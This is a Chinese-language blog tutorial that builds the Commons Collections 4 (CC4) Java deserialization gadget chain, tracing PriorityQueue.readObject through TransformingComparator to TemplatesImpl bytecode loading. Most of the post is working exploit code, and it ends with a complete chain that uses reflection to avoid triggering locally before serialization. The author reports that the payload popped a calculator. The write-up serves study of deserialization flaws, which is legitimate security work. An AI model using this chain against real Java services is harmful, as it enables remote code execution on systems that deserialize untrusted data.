作者:Narcher 时间:2024/3/19 分类:Vulnerability Analysis
前言
经过前几条链子的学习积累,CC4的学习可以说是轻松了很多。CC4这条链子和前边的不同之处在于commons-collections由原先的大版本3改成了大版本4,也就是说作用范围不同。
本质上来看,CC4和之前CC3的区别在于更改了前边的触发方式,由AnnotationInvocationHandler的readObject->Proxy->AnnotationInvocationHandler的invoke->LazyMap的get+一系列transform变为了PriorityQueue的readObject->PriorityQueue的heapify->PriorityQueue的siftDown->PriorityQueue的siftDownUsingComparator->TransformingComparator的compare+一系列transform。实际上还是换汤不换药,我们直接进入正文。
正文
先来看一下ysoserial中的链子构造:
知道了大致思路,我们就自己来从头写一遍。
思路先捋一捋,我们在commons-collections4中,原先的CC3链子在ChainedTransformer之后就断掉了,因此我们要找一个能够触发transform方法的类作为LazyMap的替代,于是便找到了TransformingComparator:
可见TransformingComparator的compare方法调用了transform方法,我们接下来只需要确保构造时传入构造好的chainedTransformer就好了,至于compare的参数并不是有用的,因为我们的ConstantTransformer太强了。
之后便是寻找调用compare方法的类,这里CC4作者直接用了内部类。
2.PriorityQueue部分
可见PriorityQueue的siftDownUsingComparator调用了compare方法,我们再往上找,找到了PriorityQueue的siftDown方法:
接着往上找,找到PriorityQueue的heapify方法:
再往上找,就找到了PriorityQueue的readObject方法了:
实际上,这样子就基本上大功告成了,我们来构造链子。
3.构造链
3.1 拼接
至于CC3的后半部分,我就全拿过来了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C://Users//Narcher//IdeaProjects//CC3_test.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);
|
CC3_test.class还是一样的。
剩下的先用TransformingComparator接住chainedTransformer:
1
| TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
|
再用PriorityQueue接住transformingComparator:
1
| PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
|
嗯,最后序列化和反序列化就应该好了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C://Users//Narcher//IdeaProjects//CC3_test.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer= new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Narcher\\IdeaProjects\\CC3.txt")); oos.writeObject(priorityQueue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\Narcher\\IdeaProjects\\CC3.txt")); ois.readObject();
|
3.2 问题
结果无事发生,肯定是中间某一部分出错了,我们就在PriorityQueue的readObject打个断点调试一下看看问题所在:
可以看到这个size为0,传入之后不会通过for循环触发接下来的方法,那我们就需要给这个数组加点元素,让它右移一位仍旧大于0,很简单,直接传两个数,让它size为2就行了:
1 2
| priorityQueue.add(1); priorityQueue.add(2);
|
结果发现在序列化之前就已经弹出计算器了,说明前边的代码有调用整条链子的方法。实际上这里是add方法,我们进去看一下:
可见这一套流程下来也会触发compare方法,我们不想让它本地执行也很简单,直接在给transformingComparator赋值的时候随便给一个值,之后在序列化之前给它改回chainedTransformer就好了。
3.3 完工
最终完整链子如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C://Users//Narcher//IdeaProjects//CC3_test.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer= new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class c = transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator, chainedTransformer);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Narcher\\IdeaProjects\\CC4.txt")); oos.writeObject(priorityQueue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\Narcher\\IdeaProjects\\CC4.txt")); ois.readObject();
|